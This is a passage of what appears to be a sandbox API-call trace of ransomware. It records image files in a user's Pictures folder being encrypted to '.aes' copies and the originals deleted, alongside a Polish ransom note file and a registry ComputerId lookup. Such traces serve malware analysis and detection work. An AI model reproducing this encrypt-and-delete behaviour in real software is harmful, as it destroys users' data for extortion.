lpOldMode=0x77ce9f8) returned 1 [0087.480] GetFileType (hFile=0x8dc) returned 0x1 [0087.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp.aes", lpFilePart=0x0) returned 0x47 [0087.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0087.480] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\-4w-q4wd1z.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0087.485] GetFileType (hFile=0x540) returned 0x1 [0087.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0087.485] GetFileType (hFile=0x540) returned 0x1 [0087.486] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0087.514] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0087.514] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0087.521] LocalFree (hMem=0x703ef10) returned 0x0 [0087.521] GetAdaptersAddresses () returned 0x6f [0087.537] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0087.537] GetAdaptersAddresses () returned 0x0 [0087.543] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0087.564] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0087.564] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0087.570] LocalFree (hMem=0x6ff2da0) returned 0x0 [0087.571] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0087.578] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0087.578] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0087.585] LocalFree (hMem=0x6ff2da0) returned 0x0 [0087.585] LocalFree (hMem=0x7074460) returned 0x0 [0087.585] GetBestInterfaceEx (in: pDestAddr=0x2856a38*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0087.715] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\-4w-q4wd1z.bmp")) returned 1 [0087.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0087.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0087.717] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0087.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0087.717] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x8dc) returned 0x0 [0087.717] RegQueryValueExW (in: hKey=0x8dc, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0087.717] RegQueryValueExW (in: hKey=0x8dc, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2821cb8, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0087.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0087.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0087.717] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x540 [0087.718] GetFileType (hFile=0x540) returned 0x1 [0087.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0087.718] GetFileType (hFile=0x540) returned 0x1 [0087.718] WriteFile (in: hFile=0x540, lpBuffer=0x282acd8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x282acd8*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0087.718] CloseHandle (hObject=0x540) returned 1 [0087.719] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0087.749] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif", lpFilePart=0x0) returned 0x46 [0087.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0087.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\fs30oromojdbc.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aab3ef0, ftCreationTime.dwHighDateTime=0x1d30372, ftLastAccessTime.dwLowDateTime=0xa5326ae0, ftLastAccessTime.dwHighDateTime=0x1d2f9b4, ftLastWriteTime.dwLowDateTime=0xa5326ae0, ftLastWriteTime.dwHighDateTime=0x1d2f9b4, nFileSizeHigh=0x0, nFileSizeLow=0x103bf)) returned 1 [0087.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0087.749] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif", lpFilePart=0x0) returned 0x46 [0087.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0087.749] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\fs30oromojdbc.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0087.750] GetFileType (hFile=0x540) returned 0x1 [0087.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0087.750] GetFileType (hFile=0x540) returned 0x1 [0087.750] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif.aes", lpFilePart=0x0) returned 0x4a [0087.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0087.750] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\fs30oromojdbc.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0087.750] GetFileType (hFile=0x8e4) returned 0x1 [0087.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0087.750] GetFileType (hFile=0x8e4) returned 0x1 [0087.750] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0087.758] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0087.758] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0087.766] LocalFree (hMem=0x703ef10) returned 0x0 [0087.766] GetAdaptersAddresses () returned 0x6f [0087.773] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0087.773] GetAdaptersAddresses () returned 0x0 [0087.781] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0087.876] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0087.876] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0087.883] LocalFree (hMem=0x6ff2da0) returned 0x0 [0087.884] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0087.890] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0087.890] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0087.897] LocalFree (hMem=0x6ff2da0) returned 0x0 [0087.897] LocalFree (hMem=0x7074460) returned 0x0 [0087.897] GetBestInterfaceEx (in: pDestAddr=0x28348f0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0087.968] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\FS30OROMoJdbC.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\fs30oromojdbc.gif")) returned 1 [0087.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0087.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0087.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7d0c00, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xee7d0c00, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xee7d0c00, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0087.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0087.969] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0088.034] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg", lpFilePart=0x0) returned 0x48 [0088.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0088.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\kfh dlkg2staglp.jpg"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa58b9960, ftCreationTime.dwHighDateTime=0x1d30523, ftLastAccessTime.dwLowDateTime=0x1b41eb10, ftLastAccessTime.dwHighDateTime=0x1d2fc4a, ftLastWriteTime.dwLowDateTime=0x1b41eb10, ftLastWriteTime.dwHighDateTime=0x1d2fc4a, nFileSizeHigh=0x0, nFileSizeLow=0x18406)) returned 1 [0088.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0088.034] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg", lpFilePart=0x0) returned 0x48 [0088.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0088.034] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\kfh dlkg2staglp.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0088.034] GetFileType (hFile=0x540) returned 0x1 [0088.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0088.034] GetFileType (hFile=0x540) returned 0x1 [0088.034] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg.aes", lpFilePart=0x0) returned 0x4c [0088.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0088.034] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\kfh dlkg2staglp.jpg.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0088.034] GetFileType (hFile=0x8e4) returned 0x1 [0088.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0088.034] GetFileType (hFile=0x8e4) returned 0x1 [0088.035] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0088.057] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0088.057] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0088.064] LocalFree (hMem=0x703ef10) returned 0x0 [0088.064] GetAdaptersAddresses () returned 0x6f [0088.069] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0088.069] GetAdaptersAddresses () returned 0x0 [0088.074] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.080] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.080] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.088] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.088] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.094] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.094] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.100] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.101] LocalFree (hMem=0x7074460) returned 0x0 [0088.101] GetBestInterfaceEx (in: pDestAddr=0x28105c4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0088.203] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\KFh DlKG2stAGLP.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\kfh dlkg2staglp.jpg")) returned 1 [0088.204] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0088.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0088.204] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7d0c00, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xee7d0c00, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xee7d0c00, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0088.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0088.204] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0088.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png", lpFilePart=0x0) returned 0x4d [0088.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0088.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\kvhysdzay9p7no8z735z.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ede240, ftCreationTime.dwHighDateTime=0x1d2fb84, ftLastAccessTime.dwLowDateTime=0xc035c660, ftLastAccessTime.dwHighDateTime=0x1d2fb54, ftLastWriteTime.dwLowDateTime=0xc035c660, ftLastWriteTime.dwHighDateTime=0x1d2fb54, nFileSizeHigh=0x0, nFileSizeLow=0xc320)) returned 1 [0088.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0088.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png", lpFilePart=0x0) returned 0x4d [0088.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0088.247] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\kvhysdzay9p7no8z735z.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0088.247] GetFileType (hFile=0x540) returned 0x1 [0088.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0088.247] GetFileType (hFile=0x540) returned 0x1 [0088.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png.aes", lpFilePart=0x0) returned 0x51 [0088.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0088.247] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\kvhysdzay9p7no8z735z.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0088.248] GetFileType (hFile=0x8e4) returned 0x1 [0088.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0088.248] GetFileType (hFile=0x8e4) returned 0x1 [0088.248] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0088.255] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0088.256] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0088.262] LocalFree (hMem=0x703ef10) returned 0x0 [0088.262] GetAdaptersAddresses () returned 0x6f [0088.267] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0088.267] GetAdaptersAddresses () returned 0x0 [0088.272] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.278] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.278] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.310] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.311] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.317] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.317] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.323] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.323] LocalFree (hMem=0x7074460) returned 0x0 [0088.323] 